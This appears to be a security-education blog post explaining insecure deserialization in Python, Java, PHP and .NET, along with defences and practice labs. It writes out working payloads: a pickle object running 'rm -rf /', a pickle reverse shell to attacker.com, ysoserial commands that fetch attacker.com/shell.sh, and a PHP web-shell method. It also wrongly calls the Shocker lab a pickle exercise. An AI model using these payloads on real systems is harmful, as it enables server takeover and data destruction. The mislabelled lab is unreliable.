Hey guys, Rocky here! 🚨💻
Welcome to Day 14 of the Daily Web Hacking series! Today, we’re diving into Part 14: Insecure Deserialization—the vulnerability that lets hackers turn harmless-looking data into weapons of mass destruction. Imagine feeding a poisoned apple to a server and watching it execute your evil commands. Let’s dissect how insecure deserialization works, why it’s devastating, and how to defend against it.
—
What is Serialization/Deserialization?
Serialization is the process of converting complex data structures (objects, arrays, etc.) into a format that can be stored (e.g., in a file) or transmitted (e.g., over a network). Common formats include:
- JSON:
{"user": "Rocky", "role": "admin"}
- XML:
<user><name>Rocky</name><role>admin</role></user>
- Binary: Python’s
pickle
, Java’sSerializable
.
Deserialization is the reverse: reconstructing the original object from the serialized data.
Example (Python):
import pickle
# Serialize
data = {"user": "Rocky", "role": "admin"}
serialized = pickle.dumps(data)
# Deserialize
deserialized = pickle.loads(serialized) # Restores the original dict
—
What Makes Deserialization Insecure?
Insecure deserialization occurs when an application deserializes untrusted or tampered data without proper validation. Attackers exploit this to:
- Execute arbitrary code (Remote Code Execution – RCE).
- Crash the application (Denial of Service – DoS).
- Tamper with data (e.g., escalate privileges, modify transactions).
Why it’s dangerous:
- Ranked #8 in the OWASP Top 10 (2017).
- Found in 34% of APIs (Salt Security, 2023).
- Leads to full system compromise in severe cases.
—
How Insecure Deserialization Works
1. The Attack Vector
- Untrusted Input: User-controlled serialized data (e.g., cookies, file uploads, API payloads).
- Vulnerable Code: Apps that blindly deserialize this data.
2. Exploit Flow
- Attacker Crafts Malicious Payload: Serializes code that triggers malicious actions.
- Server Deserializes Payload: Executes the attacker’s code during reconstruction.
- Attack Executes: RCE, DoS, or data corruption.
Example (Python Pickle RCE):
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('rm -rf /',)) # Deletes everything!
malicious_data = pickle.dumps(Exploit())
# Send to server...
pickle.loads(malicious_data) # Boom!
—
Language-Specific Exploitation
1. Java (readObject)
Java’s default serialization uses readObject()
to rebuild objects. Attackers override this to execute code.
Tools:
ysoserial: Generates payloads for common libraries (e.g., CommonsCollections, Groovy).
java -jar ysoserial.jar CommonsCollections5 'curl attacker.com/shell.sh' > payload.ser
2. PHP (unserialize)
PHP’s unserialize()
can trigger magic methods like __wakeup()
or __destruct()
.
Payload:
class Exploit {
public function __wakeup() {
system($_GET['cmd']);
}
}
3. .NET (BinaryFormatter)
.NET’s BinaryFormatter
deserializes data with dangerous type bindings.
Exploit: Use TextFormattingRunProperties
or LosFormatter
.
—
Real-World Disasters
- Apache Struts (2017): CVE-2017-9805 allowed RCE via XML deserialization.
- Python Pickle (2019): Malicious models in ML frameworks led to RCE.
- PHP Forum Software (2020):
unserialize()
flaw hijacked admin sessions.
Lesson: A single line of deserialization code can burn down the house.
—
Step-by-Step Exploitation
Goal: Gain RCE on a Python app using insecure pickle
.
1. Identify the Vulnerability
- The app uses
pickle
to load user-supplied session cookies.
2. Craft Malicious Payload
import pickle
import base64
class Exploit:
def __reduce__(self):
return (eval, ("__import__('os').system('nc -e /bin/bash attacker.com 4444')",))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload) # Output: gASVHAAAAAAAAC...
3. Inject Payload
- Send the payload as a session cookie.
4. Trigger Deserialization
- The server deserializes the cookie, executing
nc
to spawn a reverse shell.
Result: You now control the server!
—
Advanced Attack Techniques
1. Gadget Chains
What: Chaining multiple classes/methods to trigger RCE.
Java Example:
// ysoserial uses chains in libraries like CommonsCollections ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> LazyMap.get() -> InvokerTransformer.transform()
2. Memory Corruption (C/C++)
- Exploit deserialization in binary protocols (e.g., Protocol Buffers, FlatBuffers).
3. Side-Channel Attacks
- Use deserialization to leak secrets via error messages or timing.
—
Tools for Exploitation
1. ysoserial (Java)
Generate payloads for Java apps:
java -jar ysoserial.jar CommonsCollections5 'curl attacker.com/shell' > payload
2. PHPGGC (PHP)
Generate PHP exploit chains:
phpggc -f Monolog/RCE1 system 'id' -s
3. dnschef
- Detect blind deserialization via DNS callbacks.
—
Defending Against Insecure Deserialization
1. Avoid Deserialization Altogether
- Use safer data formats (JSON, XML) and validate inputs rigorously.
2. Integrity Checks
Sign serialized data with HMAC:
import hmac, hashlib key = b'secret' data = pickle.dumps(obj) signature = hmac.new(key, data, hashlib.sha256).digest() # Verify before deserializing if not hmac.compare_digest(signature, received_signature): raise SecurityError
3. Language-Specific Mitigations
- Python: Avoid
pickle
for untrusted data. Usejson
oryaml.safe_load()
. - Java: Use
ObjectInputFilter
to restrict allowed classes. - PHP: Disable
unserialize()
for user input; usejson_decode()
.
4. Sandboxing
- Run deserialization in isolated environments (e.g., Docker containers).
5. Log and Monitor
- Alert on repeated deserialization errors or suspicious classes.
—
Practice Legally: Labs & Tools
- PortSwigger Labs:
- WebGoat:
- Practice Java deserialization in a safe environment.
- Hack The Box:
- Machines like Shocker (Python pickle) and Node (JavaScript).
—
What’s Next? Part 15: Business Logic Flaws – Hacking Without Bugs
Tomorrow, we’ll explore Business Logic Flaws—exploiting design weaknesses (not code bugs) to manipulate apps. Sneak peek:
Buy 1, Get 100 Free: Change "quantity=1" to "quantity=-1" for a refund.
—
Final Thoughts
Insecure deserialization is a silent assassin in web apps. It lurks in code that seems innocent but can be weaponized with ease. By avoiding risky serialization formats, validating inputs, and adopting secure coding practices, you can turn this vulnerability into a relic of the past.
Remember: Trust no data, validate everything, and keep your deserialization locked down.
Rocky out! ✌️
—
P.S. If you’re loving this series, share it with your squad! Let’s turn code rookies into security pros.
Discussion Question: What’s the wildest deserialization exploit you’ve seen? I once found a vending machine API that ran pickle loads on user input. 😅 Spill your stories below! 👇